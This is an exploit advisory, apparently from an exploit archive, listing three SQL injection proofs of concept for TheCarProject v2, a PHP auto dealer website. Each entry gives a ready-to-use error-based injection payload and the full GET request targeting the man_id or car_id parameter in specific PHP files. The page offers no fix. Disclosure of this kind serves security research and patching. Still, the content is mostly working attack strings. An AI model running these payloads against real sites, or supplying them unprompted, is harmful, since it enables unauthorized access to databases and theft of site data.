TheCarProject 2 - Multiple SQL Injection
2019-03-18 15:05:09===========================================================================================
# Exploit Title: TheCarProject v2 - 'man_id' SQL Inj.
# Dork: N/A
# Date: 17-03-2019
# Exploit Author: Mehmet EMIROGLU
# Vendor Homepage: https://thecarproject.org/
# Software Link: https://sourceforge.net/projects/thecarproject/
# Version: v2
# Category: Webapps
# Tested on: Wamp64, Windows
# CVE: N/A
# Software Description: A fully Featured Auto vehicle, Auto Dealer php
sales web site software
built on Bootstrap 3 it will present the best possible viewpoint for
your customers
unlimited items, unlimited images per item. Totally driven from the
admin side of the site.
===========================================================================================
# POC - SQLi
# Parameters : man_id
# Attack Pattern :
-1+or+1=1+and+(SELECT+1+and+ROW(1,1)>(SELECT+COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.COLLATIONS+GROUP+BY+x)a)
# GET Method : http://localhost/TheCarProject/cp/includes/loaditem.php?man_id=-1
or 1=1 and (SELECT 1 and ROW(1,1)>(SELECT
COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x
FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)
===========================================================================================
###########################################################################################
===========================================================================================
# Exploit Title: TheCarProject v2 - 'car_id' SQL Inj.
# Dork: N/A
# Date: 17-03-2019
# Exploit Author: Mehmet EMIROGLU
# Vendor Homepage: https://thecarproject.org/
# Software Link: https://sourceforge.net/projects/thecarproject/
# Version: v2
# Category: Webapps
# Tested on: Wamp64, Windows
# CVE: N/A
# Software Description: A fully Featured Auto vehicle, Auto Dealer php
sales web site software
built on Bootstrap 3 it will present the best possible viewpoint for
your customers
unlimited items, unlimited images per item. Totally driven from the
admin side of the site.
===========================================================================================
# POC - SQLi
# Parameters : car_id
# Attack Pattern :
-1+or+1=1+and+(SELECT+1+and+ROW(1,1)>(SELECT+COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.COLLATIONS+GROUP+BY+x)a)
# GET Method : http://localhost/TheCarProject/cp/info.php?man_id=3&car_id=-1
or 1=1 and (SELECT 1 and ROW(1,1)>(SELECT
COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x
FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)
===========================================================================================
###########################################################################################
===========================================================================================
# Exploit Title: TheCarProject v2 - 'man_id' SQL Inj.
# Dork: N/A
# Date: 17-03-2019
# Exploit Author: Mehmet EMIROGLU
# Vendor Homepage: https://thecarproject.org/
# Software Link: https://sourceforge.net/projects/thecarproject/
# Version: v2
# Category: Webapps
# Tested on: Wamp64, Windows
# CVE: N/A
# Software Description: A fully Featured Auto vehicle, Auto Dealer php
sales web site software
built on Bootstrap 3 it will present the best possible viewpoint for
your customers
unlimited items, unlimited images per item. Totally driven from the
admin side of the site.
===========================================================================================
# POC - SQLi
# Parameters : man_id
# Attack Pattern :
-1+or+1=1+and+(SELECT+1+and+ROW(1,1)>(SELECT+COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.COLLATIONS+GROUP+BY+x)a)
# GET Method : http://localhost/TheCarProject/cp/item_listing.php?man_id=-1
or 1=1 and (SELECT 1 and ROW(1,1)>(SELECT
COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x
FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)
===========================================================================================
Fixes
No fixesIn order to submit a new fix you need to be registered.